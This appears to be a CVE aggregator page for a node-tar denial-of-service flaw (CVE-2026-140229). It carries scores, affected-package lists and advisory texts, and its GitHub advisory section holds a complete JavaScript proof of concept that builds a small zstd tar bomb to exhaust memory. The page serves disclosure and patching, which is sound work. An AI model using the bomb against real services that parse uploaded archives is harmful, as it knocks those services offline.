Every CVESearch/Get API key

CVE-2026-140229

node-tar: Denial of service via unbounded memory allocation bypassing maxDecompressionRatio

Explain with AI
ChatGPTClaudeGoogle AI
Severity
7.1High
Network attack, no privileges, needs user interactionCVSS 4.0, CVE List
Exploitation
Proof of concept
CISA reports one, no source links it
Exploit chance
0.80% in 30 days
Percentile57th
EPSS, scored
Listed fix
8.0.0 for tar
From GitHub Advisories11 other affected packages

Overview

node-tar is a tar archive manipulation library for Node.js. Prior to 8.0.0, when node-tar processes compressed attacker-controlled input, node zlib can materialize the inflated output before maxDecompressionRatio is evaluated. The guard therefore observes an allocation after it occurred rather than bounding it, allowing memory exhaustion despite the configured ratio limit. This issue is fixed in version 8.0.0.

CVSS 4.0 vector

Exploitability

Attack vector
Network
Complexity
Low
Attack requirements
None
Privileges needed
None
User interaction
Passive

Impact on the vulnerable system

Confidentiality
None
Integrity
None
Availability
High

Impact on subsequent systems

Confidentiality
None
Integrity
None
Availability
None
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

Exploit chance over time

Unchanged since Dec 2, 2026
EPSS score 0.80% every day from Dec 2, 2026 to Dec 4, 2026.

Affected

Packages 12

Affected packages
PackageAffectedFixed
tar
npm
before 8.0.0
8.0.0
node-tar
Debian:12
All versions, plus listed versions
6.1.13+~cs7.0.5-16.1.13+~cs7.0.5-1+deb12u16.1.13+~cs7.0.5-26.1.13+~cs7.0.5-36.1.13+~cs7.0.5-4
Show 17 more versionsShow less
6.2.1+ds1+~cs6.1.13-16.2.1+ds1+~cs6.1.13-106.2.1+ds1+~cs6.1.13-116.2.1+ds1+~cs6.1.13-26.2.1+ds1+~cs6.1.13-36.2.1+ds1+~cs6.1.13-46.2.1+ds1+~cs6.1.13-56.2.1+ds1+~cs6.1.13-66.2.1+ds1+~cs6.1.13-76.2.1+ds1+~cs6.1.13-86.2.1+ds1+~cs6.1.13-96.2.1+~cs7.0.8-17.5.16+~4.0.1-17.5.16+~4.0.1-27.5.19+~4.0.1-17.5.19+~4.0.1-27.5.22+~4.0.1-1
None listed
node-tar
Debian:13
All versions, plus listed versions
6.2.1+ds1+~cs6.1.13-16.2.1+ds1+~cs6.1.13-106.2.1+ds1+~cs6.1.13-116.2.1+ds1+~cs6.1.13-26.2.1+ds1+~cs6.1.13-3
Show 13 more versionsShow less
6.2.1+ds1+~cs6.1.13-46.2.1+ds1+~cs6.1.13-56.2.1+ds1+~cs6.1.13-66.2.1+ds1+~cs6.1.13-76.2.1+ds1+~cs6.1.13-86.2.1+ds1+~cs6.1.13-96.2.1+~cs7.0.8-16.2.1+~cs7.0.8-1+deb13u17.5.16+~4.0.1-17.5.16+~4.0.1-27.5.19+~4.0.1-17.5.19+~4.0.1-27.5.22+~4.0.1-1
None listed
node-tar
Debian:14
All versions, plus listed versions
6.2.1+ds1+~cs6.1.13-16.2.1+ds1+~cs6.1.13-106.2.1+ds1+~cs6.1.13-116.2.1+ds1+~cs6.1.13-26.2.1+ds1+~cs6.1.13-3
Show 12 more versionsShow less
6.2.1+ds1+~cs6.1.13-46.2.1+ds1+~cs6.1.13-56.2.1+ds1+~cs6.1.13-66.2.1+ds1+~cs6.1.13-76.2.1+ds1+~cs6.1.13-86.2.1+ds1+~cs6.1.13-96.2.1+~cs7.0.8-17.5.16+~4.0.1-17.5.16+~4.0.1-27.5.19+~4.0.1-17.5.19+~4.0.1-27.5.22+~4.0.1-1
None listed
node-tar
Ubuntu:Pro:14.04:LTS
All versions, plus listed versions
0.1.18-10.1.18-1ubuntu0.1~esm1
None listed
node-tar
Ubuntu:Pro:16.04:LTS
All versions, plus listed versions
1.0.3-21.0.3-2ubuntu0.1~esm1
None listed
node-tar
Ubuntu:18.04:LTS
All versions, plus listed versions
2.2.1-1
None listed
node-tar
Ubuntu:Pro:20.04:LTS
All versions, plus listed versions
4.4.10+ds1-24.4.10+ds1-2ubuntu14.4.10+ds1-2ubuntu1+esm1
None listed
node-tar
Ubuntu:22.04:LTS
All versions, plus listed versions
6.1.7+~cs11.3.10-16.1.11+~cs11.3.10-16.1.11+ds1+~cs6.0.6-1
None listed
node-tar
Ubuntu:24.04:LTS
All versions, plus listed versions
6.1.13+~cs7.0.5-16.1.13+~cs7.0.5-3
None listed
node-tar
Ubuntu:26.10
All versions, plus listed versions
6.2.1+ds1+~cs6.1.13-107.5.22+~4.0.1-1
None listed
node-tar
Ubuntu:26.04:LTS
All versions, plus listed versions
6.2.1+~cs7.0.8-16.2.1+ds1+~cs6.1.13-66.2.1+ds1+~cs6.1.13-76.2.1+ds1+~cs6.1.13-10
None listed

Products 1

Sources

CVE List Score usedCVSS 4.07.1

node-tar: Denial of service via unbounded memory allocation bypassing maxDecompressionRatio

node-tar is a tar archive manipulation library for Node.js. Prior to 8.0.0, when node-tar processes compressed attacker-controlled input, node zlib can materialize the inflated output before maxDecompressionRatio is evaluated. The guard therefore observes an allocation after it occurred rather than bounding it, allowing memory exhaustion despite the configured ratio limit. This issue is fixed in version 8.0.0.

Record
CVE-2026-140229
CVSS 4.0
7.1 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Weakness
CWE-770
Updated
2026-12-01
EUVDEUVD-2026-140425CVSS 4.07.1

node-tar is a tar archive manipulation library for Node.js. Prior to 8.0.0, when node-tar processes compressed attacker-controlled input, node zlib can materialize the inflated output before maxDecompressionRatio is evaluated. The guard therefore observes an allocation after it occurred rather than bounding it, allowing memory exhaustion despite the configured ratio limit. This issue is fixed in version 8.0.0.

Record
EUVD-2026-140425
CVSS 4.0
7.1 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Updated
2026-12-01
GitHub AdvisoriesGHSA-9239-v992-p74fCVSS 4.07.1

node-tar: Denial of service via unbounded memory allocation bypassing maxDecompressionRatio

Summary

The maxDecompressionRatio guard tar added for GHSA-23hp-3jrh-7fpw is evaluated after node zlib has already materialized the inflated output, so it observes an allocation rather than bounding one. A remote, unauthenticated party who can hand tar.t()/tar.x() an archive can deny service with 65,608 bytes, at stock settings.

Details

The check runs from the decompressor's 'data' event, which fires once per call to node zlib's synchronous _processChunk — by then that input chunk's entire inflated output is resident:

// src/parse.ts:550-555
this[UNZIP].on('data', chunk => {
  if (this[CHECKDECOMPRESSIONRATIO](chunk)) {
    this[CONSUMECHUNK](chunk)
  }
})

Compressed bytes are credited per write(), so the guard's resolution is the caller's write size, not the codec's output: a single large write front-loads the whole inputSize × 1000 budget before the ratio is evaluated even once, and tar's own file-reading helpers write up to 16 MB at a time. The decompressors are built with no maxOutputLength, so nothing else caps that chunk.

The single ratio constant of 1000 was calibrated to DEFLATE's ~1032:1 ceiling. zstd reaches ~32,700:1 and brotli ~1,230,000:1, so on those codecs the expansion completes inside one chunk whatever the write size. zstd requires no caller opt-in — it is auto-sniffed by 4-byte magic whenever this.zstd !== false, the default.

A third path needs no decompression. Both parse loops stop at the tar EOF marker; the buffering does not:

// src/parse.ts:599-603, 670
while (this[BUFFER] && this[BUFFER].length && !this[SAW_EOF]) { … }
…
[BUFFERCONCAT](c: Buffer) {
  if (c && !this[ABORTED]) {
    this[BUFFER] = this[BUFFER] ? Buffer.concat([this[BUFFER], c]) : c
  }
}

Once SAW_EOF is set, position never advances, so every subsequent write() appends its chunk with nothing draining it — and write()'s return value never reflects SAW_EOF, so a piping producer gets no signal to slow down.

PoC

// poc.js — from a clean `npm i tar@7.5.22`, driven only through tar's public API.
// Builds a 65,608-byte zstd archive that expands to 2 GiB, then feeds it to tar.t()
// at DEFAULT options in 64 KiB writes: no zstd opt-in (it is auto-detected by magic
// bytes) and no ratio override. The attacker controls only the archive bytes.
const fs = require('fs');
const z = require('zlib');
const tar = require('tar');

function buildHeader({ size, name = 'payload' }) {
  const h = Buffer.alloc(512);
  h.write(name); h.write('0000644\0', 100); h.write('0000000\0', 108); h.write('0000000\0', 116);
  h.write(size.toString(8).padStart(11, '0') + '\0', 124);
  h.write('00000000000\0', 136); h.write('        ', 148); h.write('0', 156); h.write('ustar  \0', 257);
  let s = 0; for (let i = 0; i < 512; i++) s += h[i];
  h.write(s.toString(8).padStart(6, '0') + '\0 ', 148);
  return h;
}

const size = 2 * 1024 * 1024 * 1024;                 // declared entry size: 2 GiB
const h = buildHeader({ size });
const zc = z.createZstdCompress(), out = fs.createWriteStream('bomb.tar.zst');
zc.pipe(out); zc.write(h);
const CH = Buffer.alloc(1 << 20); let w = 0;
(function loop() {
  while (w < size) { w += CH.length; if (!zc.write(CH)) { zc.once('drain', loop); return; } }
  zc.write(Buffer.alloc(1024)); zc.end();
  out.on('finish', run);
})();

function run() {
  console.log('archive built:', fs.statSync('bomb.tar.zst').size, 'bytes; parsing...');
  const p = tar.t({ onentry: () => {} });            // stock options
  const b = fs.readFileSync('bomb.tar.zst');
  for (let i = 0; i < b.length; i += 65536) p.write(b.subarray(i, i + 65536));
  p.end();
}
## The node process prints one line and then dies mid-parse; the exit status and the
## OOM flag below come from the container runtime, not from the script.

$ npm i tar@7.5.22
$ docker run --name tar-poc --network none --memory 512m --memory-swap 512m -v "$PWD:/w" -w /w node:22 node poc.js
archive…
Record
GHSA-9239-v992-p74f
CVSS 4.0
7.1 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Weakness
CWE-770
Updated
2026-12-05
NVDCVSS 4.07.1

node-tar is a tar archive manipulation library for Node.js. Prior to 8.0.0, when node-tar processes compressed attacker-controlled input, node zlib can materialize the inflated output before maxDecompressionRatio is evaluated. The guard therefore observes an allocation after it occurred rather than bounding it, allowing memory exhaustion despite the configured ratio limit. This issue is fixed in version 8.0.0.

Record
CVE-2026-140229
CVSS 4.0
7.1 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Weakness
CWE-770
Updated
2026-12-01
OSVCVSS 4.07.1

node-tar: Denial of service via unbounded memory allocation bypassing maxDecompressionRatio

node-tar is a tar archive manipulation library for Node.js. Prior to 8.0.0, when node-tar processes compressed attacker-controlled input, node zlib can materialize the inflated output before maxDecompressionRatio is evaluated. The guard therefore observes an allocation after it occurred rather than bounding it, allowing memory exhaustion despite the configured ratio limit. This issue is fixed in version 8.0.0.

Record
CVE-2026-140229
CVSS 4.0
7.1 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Weakness
CWE-770
Updated
2026-12-02
OSVDEBIAN-CVE-2026-140229CVSS 4.07.1

node-tar is a tar archive manipulation library for Node.js. Prior to 8.0.0, when node-tar processes compressed attacker-controlled input, node zlib can materialize the inflated output before maxDecompressionRatio is evaluated. The guard therefore observes an allocation after it occurred rather than bounding it, allowing memory exhaustion despite the configured ratio limit. This issue is fixed in version 8.0.0.

Record
DEBIAN-CVE-2026-140229
CVSS 4.0
7.1 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Updated
2026-12-02
OSVUBUNTU-CVE-2026-140229No score

(node-tar is a tar archive manipulation library for Node.js. Prior to 8 ...)

Record
UBUNTU-CVE-2026-140229
Updated
2026-12-03

The JSON record also has the rest of 1 source description.

History

Recorded by Every CVE

Changes recorded by Every CVE
DayChangedSources
Affected packages, key facts, referencesGitHub Advisories
Affected packages, other IDs, referencesOSV
Affected packages, other IDs, references, severityNVD, OSV
Key facts, referencesCVE List
Other IDs, referencesOSV
Other IDs, published dateEUVD
SeverityNVD
First indexedCVE List

Upstream dates may differ.

References

MoveEnter Open